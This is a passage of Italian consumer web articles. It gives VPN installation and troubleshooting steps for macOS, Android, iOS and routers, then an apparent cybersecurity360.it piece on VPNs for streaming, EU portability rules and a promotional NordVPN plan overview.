l’amministratore di rete potrebbe bloccare alcuni protocolli o porte usate dalla VPN. In questi casi, l’attivazione della modalità “offuscata” (obfuscated mode) offerta da alcuni provider aiuta a bypassare i filtri e a ristabilire la connessione. Anche firewall e antivirus possono interferire con il corretto funzionamento della VPN. Se il client VPN non riesce a stabilire la connessione, potrebbe essere utile disattivare temporaneamente queste protezioni o aggiungere un’eccezione per il software VPN. Allo stesso modo, eventuali estensioni del browser o software di sicurezza di terze parti possono bloccare il traffico VPN: rimuoverli o disattivarli momentaneamente permette di isolare il problema. Un’altra causa possibile è l’obsolescenza del client stesso. È fondamentale assicurarsi di avere sempre installata la versione più recente del software VPN, poiché gli aggiornamenti risolvono spesso problemi di compatibilità e migliorano la stabilità della connessione. In situazioni più complesse, come disconnessioni continue o velocità estremamente basse, si può tentare un riavvio completo del sistema e del modem/router. Inoltre, controllare se il proprio provider Internet applica politiche di throttling o blocco delle VPN può essere utile: in tali casi, conviene contattare l’assistenza tecnica del provider VPN, che potrà consigliare impostazioni alternative o fornire server dedicati con protezioni anti-blocco. Installare una VPN su macOS è un processo relativamente semplice e alla portata di qualunque utente, anche senza particolari competenze tecniche. Il primo passaggio consiste nello scegliere un provider VPN affidabile, registrarsi al servizio e scaricare il client dedicato per macOS direttamente dal sito ufficiale. È fondamentale evitare fonti non ufficiali o versioni piratate del software, per non compromettere la sicurezza del proprio dispositivo. Una volta scaricato il file in formato .dmg, è sufficiente fare doppio clic su di esso per aprire l’immagine disco. All’interno si troverà l’icona del client VPN che dovrà essere trascinata nella cartella “Applicazioni”, come indicato dal sistema operativo. Questo passaggio installa l’applicazione nella posizione corretta e la rende accessibile tramite Launchpad o Spotlight. Dopo aver completato l’installazione, si può avviare l’app VPN direttamente da Applicazioni. Al primo avvio, macOS richiederà di autorizzare l’esecuzione del software, poiché proviene da uno sviluppatore esterno: sarà necessario confermare l’operazione, eventualmente inserendo la password dell’amministratore del sistema. Una volta aperta, l’applicazione richiederà le credenziali di accesso al servizio VPN, cioè l’email e la password create in fase di registrazione. A login effettuato, verrà mostrata l’interfaccia del client, solitamente dotata di una mappa o di un elenco di server VPN organizzati per area geografica o per tipo di utilizzo, come streaming, sicurezza o download. La connessione a un server VPN avviene con un semplice clic su “Connect” o sul tasto equivalente. Il software avvierà il collegamento e, in pochi secondi, stabilirà un tunnel crittografato che proteggerà tutto il traffico di rete in uscita e in entrata dal Mac. Durante la connessione, comparirà una notifica di sistema che segnala l’attivazione della VPN, visibile anche nella barra del menu in alto, da cui sarà possibile gestire la connessione in modo rapido. Alcune applicazioni richiedono di installare un profilo VPN o un’estensione di rete per completare la configurazione: in questo caso, macOS mostrerà un avviso e sarà sufficiente autorizzare l’installazione. Molti client VPN per Mac offrono funzionalità avanzate, come il kill switch, che disconnette automaticamente Internet in caso di caduta della VPN, o lo split tunneling, che consente di scegliere quali applicazioni devono utilizzare la connessione protetta. Queste opzioni sono accessibili dal menu impostazioni del client, spesso accompagnate da strumenti di diagnostica o da suggerimenti automatici in caso di problemi di connessione. Al termine dell’utilizzo, è possibile disconnettersi direttamente dal client o dalla barra dei menu, e la connessione tornerà immediatamente a essere quella del provider Internet standard. Installare una VPN su un dispositivo Android è un’operazione diretta e accessibile che può essere completata in pochi minuti anche da utenti senza esperienza tecnica. Il primo passo consiste nello scegliere un provider VPN affidabile, preferibilmente tra quelli che offrono un’app ufficiale compatibile con le ultime versioni di Android. Una volta scelto il servizio, è necessario aprire il Google Play Store, digitare il nome del provider VPN nella barra di ricerca e verificare che l’applicazione individuata sia quella ufficiale, riconoscibile dal nome del produttore e dalle recensioni degli utenti. Dopo aver identificato l’app corretta, si può procedere con il download e l’installazione toccando il pulsante “Installa”. Il sistema operativo avvierà automaticamente il processo, che richiede pochi istanti. Al termine dell’installazione, l’icona dell’app comparirà nel drawer delle applicazioni e sarà possibile avviarla con un semplice tocco. Al primo avvio, l’app VPN richiederà di accedere con le credenziali dell’account creato in fase di registrazione sul sito del provider. Una volta effettuato il login, verrà presentata l’interfaccia principale, che può variare da provider a provider, ma solitamente include un tasto centrale per connettersi rapidamente e una lista di server disponibili organizzata per Paese o per tipo di utilizzo. Toccando il tasto “Connetti” o selezionando un server specifico dall’elenco, l’app richiederà l’autorizzazione a creare una connessione VPN. Android mostrerà un avviso di sicurezza in cui l’utente dovrà acconsentire esplicitamente affinché l’app possa controllare il traffico di rete. Una volta autorizzata, la connessione verrà stabilita e un’icona a forma di chiave comparirà nella barra superiore del telefono, indicando che tutto il traffico internet sta passando attraverso il tunnel crittografato della VPN. Da questo momento ogni attività online sul dispositivo sarà protetta, comprese la navigazione web, l’uso di app di messaggistica, le transazioni bancarie o gli accessi a reti aziendali. L’app offre spesso funzionalità aggiuntive come la connessione automatica su reti Wi-Fi pubbliche, la selezione intelligente del server più veloce o opzioni per escludere alcune app dalla connessione VPN tramite lo split tunneling. La disconnessione può essere effettuata direttamente dall’app o abbassando la tendina delle notifiche, dove sarà presente il controllo rapido della VPN. Installare una VPN su un dispositivo iOS, come iPhone o iPad, è un processo lineare e ben integrato con l’ecosistema Apple. Il primo passo consiste nel selezionare un servizio VPN affidabile e compatibile con iOS, quindi accedere all’App Store direttamente dal dispositivo. All’interno dello store digitale, è necessario digitare il nome del provider VPN scelto nella barra di ricerca e selezionare l’app ufficiale, facendo attenzione a controllare il nome dello sviluppatore e la valutazione dell’app per garantirsi di scaricare la versione autentica. Una volta individuata l’applicazione corretta, si può procedere al download toccando il pulsante “Ottieni” o l’icona della nuvola con la freccia, se si tratta di un’app già scaricata in passato. Il sistema potrebbe richiedere l’autenticazione tramite Face ID, Touch ID o password dell’Apple ID. Completato il download, l’app apparirà sulla schermata principale e potrà essere aperta toccando l’icona corrispondente. All’apertura dell’app, verrà chiesto di effettuare il login con le credenziali del proprio account VPN. In alternativa, se non si dispone ancora di un account, molti provider permettono di crearne uno direttamente all’interno dell’app, attraverso una procedura guidata che include la registrazione tramite email e la scelta di un piano tariffario, spesso con periodo di prova gratuito. Una volta effettuato l’accesso, verrà mostrata l’interfaccia principale, solitamente molto intuitiva, con un pulsante centrale per avviare la connessione e un elenco di server da cui scegliere. Quando si tenta di connettersi per la prima volta, l’app richiederà di installare un profilo VPN sul dispositivo. iOS mostrerà una finestra di sistema che chiederà l’autorizzazione per configurare le impostazioni VPN, necessarie affinché il traffico internet possa essere instradato attraverso i server del provider. Autorizzando la richiesta, il profilo verrà aggiunto automaticamente e il sistema sarà pronto per gestire le connessioni VPN in modo sicuro e trasparente. Dopo aver selezionato un server e avviato la connessione, iOS mostrerà un’icona “VPN” nella barra di stato, segnalando che la connessione protetta è attiva. Da questo momento, tutte le comunicazioni in entrata e in uscita saranno criptate e passeranno attraverso il tunnel sicuro stabilito dalla VPN. In qualsiasi momento sarà possibile disconnettersi dall’interno dell’app oppure tramite le impostazioni generali del dispositivo, dove è presente una voce dedicata alla gestione delle connessioni VPN. Installare una VPN direttamente sul router rappresenta una soluzione centralizzata e molto efficace per proteggere tutti i dispositivi connessi alla rete domestica o aziendale, senza la necessità di configurare ogni singolo device. Questa opzione è particolarmente utile in ambienti in cui si utilizzano dispositivi che non supportano nativamente l’installazione di app VPN, come smart TV, console di gioco, dispositivi IoT o decoder. Il principio di base è che, configurando la VPN a livello di router, l’intera rete locale viene instradata attraverso il tunnel crittografato, rendendo anonimo e sicuro il traffico proveniente da ogni dispositivo collegato. Per procedere con l’installazione, è fondamentale verificare innanzitutto che il proprio router supporti nativamente le connessioni VPN. Alcuni modelli recenti, in particolare quelli marchiati Asus, Netgear o Linksys, includono già un’interfaccia grafica che permette la configurazione di protocolli come OpenVPN o WireGuard. In alternativa, è possibile installare firmware personalizzati come DD-WRT, Tomato o OpenWRT, che aggiungono funzionalità avanzate, tra cui proprio il supporto VPN. L’installazione di questi firmware, però, richiede maggiore dimestichezza tecnica e va eseguita con attenzione, poiché eventuali errori potrebbero compromettere il funzionamento del router. Una volta verificata la compatibilità, si può accedere al pannello di amministrazione del router digitando il relativo indirizzo IP nel browser, solitamente 192.168.1.1 o 192.168.0.1, ed effettuando il login con le credenziali di amministratore. All’interno del pannello, si accede alla sezione dedicata alla VPN, dove è possibile caricare il file di configurazione fornito dal proprio provider. Questo file contiene tutti i parametri necessari per stabilire la connessione, compresi l’indirizzo del server, le chiavi di autenticazione e le opzioni crittografiche. Dopo aver completato la configurazione e salvato le impostazioni, sarà sufficiente attivare la connessione VPN dal pannello del router. Una volta stabilita, tutti i dispositivi collegati, sia via Wi-Fi che tramite cavo Ethernet, inizieranno a navigare sotto la protezione della VPN, senza alcuna configurazione aggiuntiva da parte degli utenti. Il vantaggio principale di questo approccio è l’automazione: la VPN resterà attiva anche quando il router viene riavviato o quando nuovi dispositivi si connettono alla rete, garantendo una protezione continua. Questa soluzione è ideale non solo per chi desidera massimizzare la sicurezza della rete, ma anche per utenti che vogliono accedere a contenuti geo-limitati su dispositivi che non supportano app VPN, come alcune smart TV. Va tuttavia considerato che instradare tutto il traffico attraverso il router può ridurre leggermente la velocità di connessione, specialmente se il router ha un processore poco potente. Per questo motivo, è consigliabile utilizzare router di fascia medio-alta o modelli progettati appositamente per il traffico VPN. Installare una VPN direttamente sul router offre numerosi vantaggi, soprattutto in contesti in cui si desidera proteggere in modo continuo e centralizzato l’intera rete domestica o aziendale. Il principale beneficio consiste nel fatto che tutti i dispositivi connessi al router, siano essi computer, smartphone, tablet, console di gioco, smart TV o dispositivi IoT, vengono automaticamente instradati attraverso la connessione VPN, senza dover installare o configurare manualmente applicazioni su ciascuno di essi. Questo approccio semplifica enormemente la gestione della sicurezza, soprattutto in ambienti con numerosi device o in famiglie in cui non tutti gli utenti hanno familiarità con la tecnologia. Un ulteriore vantaggio è la protezione automatica e costante della connessione. A differenza delle VPN installate su singoli dispositivi, che richiedono l’attivazione manuale o rischiano di essere disattivate per errore, una VPN installata sul router resta attiva finché il dispositivo è acceso e connesso. Questo garantisce un livello di sicurezza elevato e continuo, utile in particolare per chi desidera una protezione costante da tracciamenti, attacchi informatici o censura geografica. Dal punto di vista della privacy, questa configurazione consente di mantenere nascosto l’indirizzo IP reale di ogni dispositivo della rete, presentando al mondo esterno un unico indirizzo IP, ovvero quello assegnato dal server VPN. Questo rafforza l’anonimato e rende più difficile il tracciamento delle attività individuali online. Inoltre, configurare la VPN sul router permette anche di accedere a contenuti geo-limitati da dispositivi che normalmente non supportano l’uso di VPN, come ad esempio molte smart TV o dispositivi per lo streaming. Infine, l’installazione centralizzata riduce anche il carico operativo e i consumi di risorse sui singoli dispositivi, poiché è il router a gestire il processo di cifratura e instradamento del traffico. Questo può tradursi in un miglioramento delle prestazioni su device meno potenti e, al tempo stesso, semplifica enormemente la manutenzione, poiché eventuali modifiche o aggiornamenti della configurazione VPN si effettuano una sola volta, direttamente sul router, senza dover ripetere l’operazione su ogni singolo terminale. Durante l’installazione di una VPN, soprattutto se si è alle prime armi, possono emergere alcuni problemi comuni che rallentano o impediscono la configurazione corretta. Uno dei più frequenti è rappresentato dall’impossibilità di completare la connessione al server VPN, situazione che si verifica spesso quando il software client non riesce a stabilire un tunnel sicuro con l’infrastruttura del provider. In questo caso, è importante innanzitutto verificare che la propria connessione Internet sia attiva e stabile, poiché una rete lenta o intermittente può bloccare la fase di handshake crittografico necessaria per iniziare la comunicazione. Se la connessione di base funziona, il problema potrebbe dipendere dal server selezionato, che potrebbe essere temporaneamente offline o congestionato. Cambiare server manualmente, scegliendone uno meno trafficato o più vicino geograficamente, risolve nella maggior parte dei casi. Un’altra causa frequente di malfunzionamento riguarda il blocco da parte di software di sicurezza locali, come antivirus, firewall o antimalware, che a volte identificano il traffico VPN come potenzialmente sospetto. In questi casi, è utile disattivare temporaneamente il firewall o aggiungere un’eccezione specifica per il client VPN nelle impostazioni del programma di protezione. Alcuni provider VPN offrono anche una modalità “stealth” o “camouflage”, che rende il traffico criptato meno riconoscibile dai filtri automatici e ne facilita il passaggio su reti restrittive, come quelle scolastiche, aziendali o pubbliche. In altri casi, l’ostacolo può essere legato al protocollo scelto per la connessione. I client VPN moderni supportano solitamente più protocolli, come OpenVPN, WireGuard, IKEv2 o L2TP/IPSec, ognuno dei quali ha caratteristiche tecniche diverse. Alcuni protocolli, per esempio OpenVPN su UDP, possono essere bloccati da determinati provider Internet o da router con impostazioni conservative. Cambiare protocollo dalle impostazioni avanzate dell’app, passando da UDP a TCP o scegliendo WireGuard, spesso sblocca la situazione e consente il corretto funzionamento della VPN. Anche l’obsolescenza del software può generare errori: un client VPN non aggiornato potrebbe essere incompatibile con gli ultimi aggiornamenti del sistema operativo o con i server del provider. In questi casi, è sufficiente scaricare l’ultima versione dell’app dal sito ufficiale o dallo store dedicato e reinstallarla. Allo stesso modo, un sistema operativo non aggiornato può causare problemi di compatibilità con i certificati di sicurezza o con i driver di rete, ed è quindi consigliabile mantenere il dispositivo sempre aggiornato. Infine, in fase di installazione manuale su router o tramite configurazioni personalizzate è possibile incorrere in errori nella compilazione dei parametri come indirizzi server errati, porte bloccate o certificati incompleti. In queste situazioni, è utile consultare la documentazione ufficiale del provider VPN, confrontare le impostazioni con un tutorial verificato o contattare il supporto tecnico. Quando una VPN non riesce a connettersi, la prima cosa da fare è individuare se il problema dipende dalla rete locale, dal dispositivo, dal software VPN o dal provider stesso. Inizia sempre verificando che la connessione Internet funzioni correttamente senza VPN: se anche la navigazione normale è assente o instabile, la causa non è il servizio VPN ma un’interruzione o un problema tecnico del tuo operatore. Se invece la rete funziona e la VPN continua a non connettersi, allora è utile cambiare server, selezionandone uno alternativo tra quelli offerti dal provider. Talvolta i server possono risultare sovraccarichi o temporaneamente offline per manutenzione. Se il cambio di server non risolve, entra nelle impostazioni del client VPN e prova a modificare il protocollo di connessione. Molti provider consentono di passare da WireGuard a OpenVPN o a IKEv2, e questa semplice variazione spesso consente di superare eventuali blocchi imposti da reti aziendali, scolastiche o da provider che limitano specifici tipi di traffico. Se il problema persiste, valuta la possibilità che un antivirus o firewall installato sul tuo dispositivo stia bloccando la connessione. In quel caso, potresti disattivare temporaneamente questi software o creare un’eccezione per il client VPN nelle loro impostazioni. In alcuni contesti particolarmente restrittivi, come reti Wi-Fi pubbliche in hotel o aeroporti, oppure reti universitarie, può essere necessario attivare la modalità offuscata (spesso chiamata “obfuscated mode” o “stealth mode”) disponibile in molti client VPN avanzati. Questa funzione camuffa il traffico VPN per farlo sembrare normale traffico HTTPS e superare eventuali sistemi di filtraggio. Se stai usando la VPN su un router o tramite configurazione manuale, assicurati che i file di configurazione siano corretti, aggiornati e compatibili con il server scelto. Controlla anche che le porte richieste siano aperte nel router e che non ci siano restrizioni impostate dal firewall locale. Come ulteriore verifica, prova a connetterti da un altro dispositivo, oppure utilizza una connessione mobile per escludere che il problema sia legato alla tua rete principale. Infine, se nessuna di queste soluzioni funziona, consulta la documentazione ufficiale del tuo provider VPN o contatta il servizio clienti: molti offrono assistenza 24 ore su 24 e possono analizzare il log della connessione per identificare rapidamente l’origine del malfunzionamento. Quando la velocità della VPN risulta lenta è importante considerare diversi fattori che possono influenzare le prestazioni e intervenire in modo mirato per migliorarle. Uno dei primi elementi da esaminare è la distanza geografica dal server scelto. Connettersi a un server molto lontano, ad esempio in un altro continente, comporta un maggior numero di nodi di rete attraversati e quindi una latenza più alta. Per ottimizzare la velocità, è consigliabile selezionare un server geograficamente vicino o lasciar decidere automaticamente al client quale sia il nodo più performante in quel momento, se il provider offre questa funzione. Anche il tipo di protocollo utilizzato incide notevolmente. Alcuni protocolli, come WireGuard, sono progettati per offrire un’elevata velocità con un consumo minimo di risorse, mentre altri, come OpenVPN in modalità TCP, sono più sicuri ma meno efficienti sul piano della velocità. Se il client VPN lo consente, è utile sperimentare con protocolli diversi per trovare il miglior equilibrio tra sicurezza e prestazioni, scegliendo, ad esempio, WireGuard per streaming o download, e IKEv2 per la mobilità su rete mobile. Un altro elemento che può rallentare la connessione è la congestione dei server. In determinate fasce orarie, molti utenti possono connettersi contemporaneamente agli stessi nodi, provocando un sovraccarico. In questi casi, cambiare manualmente server, anche restando nello stesso Paese, può portare a un miglioramento significativo. Va poi considerata la qualità della propria rete locale. Una connessione Wi-Fi instabile, interferenze con altri dispositivi o una larghezza di banda ridotta possono impattare negativamente sull’esperienza VPN. Passare temporaneamente a una connessione via cavo Ethernet o posizionarsi più vicino al router può aiutare a stabilizzare la velocità. Anche il carico di lavoro del dispositivo gioca un ruolo: se si stanno eseguendo contemporaneamente più applicazioni che consumano banda, come upload automatici sul cloud o videochiamate, la VPN avrà meno risorse a disposizione. Chiudere i programmi non essenziali o pianificare attività pesanti al di fuori delle sessioni VPN permette di mantenere le prestazioni elevate. Alcuni provider consentono inoltre di configurare uno split tunneling, ossia la possibilità di instradare solo una parte del traffico attraverso la VPN: utilizzare questa funzione per limitare il traffico cifrato solo a specifiche app può ridurre notevolmente il carico. Infine, è utile verificare che il software VPN sia aggiornato all’ultima versione disponibile. Gli aggiornamenti spesso includono ottimizzazioni del motore di connessione e correzioni di bug che potrebbero compromettere la velocità. Se dopo aver seguito tutti questi passaggi la connessione continua a essere insoddisfacente, è opportuno contattare il servizio di assistenza del provider VPN per valutare eventuali limiti legati al piano sottoscritto o alla rete del fornitore.

cybersecurity360.itAug 5, 2025extracted

Sblocca tutto: le migliori VPN per lo streaming del 2025

Le VPN (Virtual Private Network) sono diventate uno strumento molto popolare per gli appassionati di streaming, in quanto offrono diversi vantaggi, ma presentano anche alcuni aspetti da considerare attentamente. Indice degli argomenti Una VPN crea un “tunnel” crittografato tra il tuo dispositivo e un server remoto gestito dal servizio VPN. In questo modo, il nostro traffico internet viene reindirizzato attraverso questo server prima di raggiungere la sua destinazione finale. Le funzioni principali delle VPN sono: Privacy e sicurezza: La crittografia nasconde il nostro indirizzo IP e le attività online da occhi indiscreti, inclusi il provider di servizi internet (ISP), hacker e altri terzi. Questo è particolarmente utile quando ci si connette a reti Wi-Fi pubbliche non sicure. Accesso a contenuti geograficamente limitati: Questo è l’uso più comune delle VPN per lo streaming. Quando ci si connette a un server VPN in un altro Paese, il nostro indirizzo IP viene mascherato con quello del server. In questo modo, i servizi di streaming vedono che ci stiamo collegando dal Paese scelto e ci permettono di accedere ai cataloghi di contenuti disponibili solo in quella regione. Sblocco di cataloghi internazionali: Si può accedere a serie TV e film disponibili su piattaforme come Netflix, Disney+, Amazon Prime Video, Hulu, ecc., in Paesi diversi dal nostro. Superamento delle restrizioni geografiche: Se siamo in viaggio all’estero, una VPN ci permette di accedere ai nostri servizi di streaming preferiti del nostro Paese di origine, che altrimenti sarebbero bloccati a causa dei contratti di licenza regionali. Evitare il “throttling” dell’ISP: Alcuni provider di servizi internet rallentano (o “throttono”) intenzionalmente la velocità di connessione quando rilevano attività di streaming o di download intenso. Usando una VPN, il nostro ISP non può vedere cosa stiamo facendo online e non può limitare la nostra banda. Sicurezza aggiuntiva: Navigare e fare streaming con una VPN protegge i nostri dati personali, specialmente su reti non protette. Rallentamento della velocità: Il processo di crittografia e il reindirizzamento del traffico attraverso un server remoto possono rallentare leggermente la connessione. Questo può causare buffering o una qualità video inferiore se la VPN non è ottimizzata per la velocità. Costi: I migliori servizi VPN per lo streaming non sono gratuiti. Le VPN gratuite spesso hanno limitazioni di dati, velocità e server, e alcune potrebbero persino compromettere la tua privacy. Incompatibilità con i servizi di streaming: I servizi di streaming sono costantemente impegnati a bloccare l’uso delle VPN. Di conseguenza, non è garantito che una VPN funzioni sempre con tutti i servizi o con tutti i cataloghi. A volte è necessario cambiare server o contattare l’assistenza clienti del provider VPN. Legalità: L’uso di una VPN non è illegale nella maggior parte dei paesi, ma l’utilizzo per aggirare le restrizioni geografiche dei servizi di streaming può violare i termini di servizio di tali piattaforme. È importante informarsi sulle leggi del paese in cui ti trovi. Per scegliere una buona VPN per lo streaming, bisogna considerare questi fattori: Velocità: È il fattore più importante per lo streaming. Cercare servizi che offrono server veloci e protocolli ottimizzati (come Lightway di ExpressVPN o NordLynx di NordVPN). Ampia rete di server: Un numero elevato di server in molti Paesi ti offre più opzioni per sbloccare contenuti da diverse regioni. Capacità di sblocco: Assicurarsii che la VPN sia nota per la sua affidabilità nello sbloccare i servizi di streaming che ci interessano (Netflix, Disney+, ecc.). Compatibilità con i dispositivi: Verificare che il servizio offra app native per tutti i dispositivi che utilizziamo per lo streaming (PC, smartphone, smart TV, console, router, ecc.). Prezzo e garanzia di rimborso: Confrontare i prezzi e cercare servizi che offrano una garanzia di rimborso per poterli provare senza rischi. Sicurezza e privacy: Una buona VPN deve avere una solida politica di “no-log” (non registra le attività) e utilizzare una crittografia robusta. Alcuni dei servizi VPN più apprezzati per lo streaming, spesso menzionati in recensioni e classifiche, includono: Surfshark: Ottima per chi cerca un buon rapporto qualità-prezzo e offre connessioni illimitate. ExpressVPN: Rinomata per la sua velocità e affidabilità. NordVPN: Offre un’ottima combinazione di velocità, sicurezza e un’ampia rete di server. Utilizzare una VPN per lo streaming consente di superare le limitazioni geografiche imposte da molte piattaforme, ampliando notevolmente l’accesso ai contenuti. Servizi come Netflix, Disney+, Prime Video, Hulu e BBC iPlayer offrono cataloghi differenti a seconda del paese da cui ci si collega: una VPN permette di simulare una posizione virtuale in un’altra nazione, sbloccando film, serie TV e programmi esclusivi non disponibili nel proprio territorio. Questo è particolarmente utile per chi viaggia, vive all’estero o semplicemente desidera accedere a titoli presenti in altri mercati. Oltre allo sblocco dei contenuti, una VPN può garantire maggiore stabilità della connessione e protezione contro eventuali throttling operati dai provider internet, che in alcuni casi limitano la velocità durante l’uso di piattaforme video. La questione della portabilità dello streaming in Europa è fondamentale e ha cambiato significativamente il modo in cui i consumatori possono usufruire dei loro abbonamenti. Il quadro normativo di riferimento è il Regolamento (UE) 2017/1128, entrato in vigore il 1° aprile 2018. Questo regolamento, spesso definito “Regolamento Netflix”, ha introdotto l’obbligo per i fornitori di servizi di contenuti online a pagamento di garantire la portabilità transfrontaliera dei servizi all’interno dell’Unione Europea e dell’Area Economica Europea (EEA), che include anche Islanda, Liechtenstein e Norvegia. In poche parole, un cittadino residente in un Paese dell’UE/EEA con un abbonamento a un servizio di streaming a pagamento (come Netflix, Sky Go, Spotify, NOW, Amazon Prime Video, ecc.), ha il diritto di accedere a quel servizio con le stesse modalità, gli stessi contenuti e sullo stesso numero di dispositivi che ha nel suo Paese di residenza, anche quando si trovi temporaneamente in un altro stato membro dell’UE/EEA. Prima di questo regolamento, i fornitori di servizi potevano bloccare l’accesso ai contenuti (tramite il cosiddetto “geoblocking”) quando l’utente si trovava all’estero, a causa delle licenze di distribuzione che erano valide solo per determinati territori. Ora, per gli abbonamenti a pagamento, questa pratica non è più consentita all’interno dell’area UE/EEA. Servizi a pagamento: L’obbligo si applica ai servizi di contenuti online che richiedono un corrispettivo in denaro. I fornitori di servizi gratuiti possono scegliere volontariamente di offrire la portabilità, ma non sono obbligati. Verifica della residenza: I fornitori devono verificare lo Stato membro di residenza dell’abbonato. Possono farlo utilizzando vari metodi, come i dati di fatturazione, l’indirizzo postale, o, in alcuni casi, l’indirizzo IP. Questa verifica deve essere “ragionevole, proporzionata e non discriminatoria”. “Temporaneità” del soggiorno: Il diritto alla portabilità si applica quando l’abbonato è “temporaneamente” presente in un altro Stato membro. Il regolamento non definisce una durata precisa, ma si riferisce a situazioni come vacanze, viaggi di lavoro o studi all’estero. Nessun costo aggiuntivo: L’utente non può subire costi aggiuntivi o restrizioni nella qualità del servizio per la portabilità transfrontaliera. Nonostante il regolamento abbia rappresentato un passo avanti significativo, ci sono ancora alcune sfide e limitazioni: Catalogo di contenuti: Sebbene l’accesso al servizio sia garantito, l’offerta di contenuti potrebbe non essere esattamente la stessa in tutta Europa. Il regolamento garantisce la portabilità del catalogo del Paese di residenza, ma non che il catalogo sia identico in tutti i Paesi. Per esempio, un utente italiano in vacanza in Germania continuerà a vedere il catalogo italiano di Netflix, e non quello tedesco. Servizi gratuiti: I servizi di streaming gratuiti, come quelli delle emittenti pubbliche (es. RaiPlay, BBC iPlayer), non sono obbligati a offrire la portabilità transfrontaliera. Questo significa che, a meno che non scelgano di farlo volontariamente, potremmo non essere in grado di accedere a questi servizi quando siamo all’estero. Qualità del servizio: Il regolamento non obbliga i fornitori a garantire la stessa qualità del servizio al di fuori del Paese di residenza, il che potrebbe portare a differenze nella velocità o nella risoluzione video a seconda della rete utilizzata. Verifica della residenza: Sebbene il regolamento preveda metodi di verifica specifici, i fornitori possono ancora bloccare l’accesso se sospettano che l’utente non sia residente nel Paese dichiarato, ad esempio se l’utente si connette costantemente da un altro Paese. L’uso delle VPN in sé è legale nella maggior parte dei Paesi, Italia inclusa. Tuttavia, quando si parla di streaming, entra in gioco una zona grigia che riguarda i termini di servizio delle piattaforme e l’uso che l’utente ne fa. È importante distinguere tra ciò che è formalmente consentito dalla legge e ciò che viene tollerato o vietato dai fornitori di contenuti. Molte piattaforme di streaming, nei propri termini di utilizzo, specificano che l’accesso ai contenuti è consentito solo all’interno di determinati confini geografici. Questo significa che, pur essendo legale utilizzare una VPN per motivi di sicurezza o privacy, l’uso per modificare la propria area geografica allo scopo di accedere a contenuti non disponibili localmente può violare le regole contrattuali del servizio. In concreto, le aziende non perseguono penalmente gli utenti ma si riservano il diritto di bloccare gli indirizzi IP associati a VPN, di limitare temporaneamente l’account o, in rari casi, di sospendere l’accesso alla piattaforma. Da un punto di vista legale l’utilizzo di una VPN non rappresenta un reato. Tuttavia, accedere a contenuti protetti da licenza in aree dove non se ne detiene il diritto può essere considerato una violazione delle norme contrattuali tra utente e fornitore. In generale, i rischi per l’utente finale sono bassi ma è importante agire con consapevolezza. In alcuni paesi più restrittivi l’utilizzo delle VPN è regolamentato o vietato, perciò prima di utilizzarle in viaggio è opportuno informarsi sulla normativa locale. Resta il fatto che una VPN, se usata correttamente, può essere uno strumento legittimo e potente per garantire la libertà digitale e un accesso più ampio ai contenuti, nel rispetto dei limiti previsti. Quando si cerca una VPN da usare per lo streaming la priorità è la capacità di aggirare i blocchi geografici in modo rapido, affidabile e senza compromessi sulla qualità video. Non tutte le VPN riescono a sbloccare le piattaforme principali, poiché molte di esse aggiornano costantemente i loro sistemi di rilevamento per impedire l’uso di IP condivisi da provider VPN. È quindi fondamentale affidarsi a servizi che aggiornano regolarmente i propri server, che offrono un’ampia scelta di localizzazioni internazionali e che garantiscano velocità di connessione elevate, in grado di supportare lo streaming in HD o 4K senza buffering. Inoltre, è consigliabile optare per una VPN con app ben progettate, compatibili con smart TV, console, Fire Stick o dispositivi mobile, così da rendere l’esperienza di visione fluida e intuitiva. 🌍 Server: 7.000+ server in 118 paesi 📱 Massimo dispositivi: 10 📍 IP dedicato: ✔ 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS 🔐 Sicurezza: IKEv2/IPsec, OpenVPN, NordLynx 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Panama 🔥 Offerte attive: SCONTO fino al 63% L’offerta NordVPN principale si basa su uno sconto a tempo limitato. Il prezzo viene ridotto da 11,59 € a 3,39 € al mese, il che corrisponde a uno sconto fino al 72%. È importante notare che questo prezzo ridotto è valido solo per il periodo iniziale di abbonamento. L’offerta include un abbonamento a NordVPN con diverse funzionalità: VPN (Virtual Private Network): La funzione principale. Cripta la connessione a internet, nascondendo l’indirizzo IP reale e la nostra posizione. Questo rende più difficile per terzi (come il provider di servizi internet, agenzie pubblicitarie o hacker) tracciare le attività online. Threat Protection Pro™: Un servizio che funziona anche quando la VPN non è attiva. Blocca automaticamente download di malware, siti di phishing, pubblicità e tracker online. È un’aggiunta di sicurezza che protegge i nostri dispositivi anche durante la normale navigazione non protetta dalla VPN. Politica di no-log: NordVPN afferma di non registrare le attività online, come i siti che si visitano, i file che si scaricano o i dati di traffico. Questo è un aspetto fondamentale per la privacy. Accesso a una rete globale di server: Si hanno disposizione migliaia di server in 164 località. Questo permette di connettersi a server in diverse parti del mondo, utile per accedere a contenuti con restrizioni geografiche. Compatibilità con più dispositivi: Con un solo account si possono proteggere fino a 10 dispositivi contemporaneamente. NordVPN è compatibile con tutti i principali sistemi operativi (Windows, macOS, iOS, Android, ecc.) e browser. Altre funzionalità: Nell’offerta è inclusa la crittografia di nuova generazione (AES-256) per una sicurezza elevata, un Dark Web Monitor che ci avvisa se le nostre credenziali sono state compromesse e la possibilità di guardare contenuti in streaming senza limiti di velocità o larghezza di banda. E’ possibile richiedere il rimborso entro 30 giorni Nonostante questi punti di forza, NordVPN presenta alcuni svantaggi. I piani possono risultare costosi una volta terminato il periodo promozionale e i rinnovi automatici possono portare a un prezzo significativamente più alto. Inoltre l’interfaccia su dispositivi come Fire Stick o alcune versioni Linux può risultare meno raffinata e in alcuni casi lento nella connessione su server distanti. Peace‑of‑mind per utenti avanzati: le funzioni antivirus integrate in Threat Protection Pro, pur utili, non sostituiscono software antivirus professionali. Al momento sono attive promozioni molto interessanti: il piano biennale Base è disponibile a 3,39 € al mese per nuovi utenti, con garanzia di rimborso entro 30 giorni, mentre con soli 1 € in più al mese si ottiene il piano Plus comprensivo di protezione malware e strumenti aggiuntivi. Ecco le tabelle comparative che riassumono le differenze principali tra i tre piani di NordVPN, considerando l’opzione più comune di abbonamento biennale, annuale e mensile. Esporta in Fogli Il piano Base offre solo il servizio VPN. Se il nostro unico obiettivo è nascondere la nostra posizione e criptare la connessione, questo piano è sufficiente. Il piano Plus aggiunge funzionalità di sicurezza importanti, come la protezione anti-malware, il blocco di pubblicità e tracker, e un password manager con mascheramento dell’email. È l’opzione più popolare perché offre un buon equilibrio tra privacy, sicurezza e prezzo. Il piano Ultimate è il pacchetto più completo, che include tutte le funzionalità del piano Plus, oltre a 1 TB di spazio cloud e un’assicurazione cyber che copre fino a 5.000 € per frodi e furti d’identità. 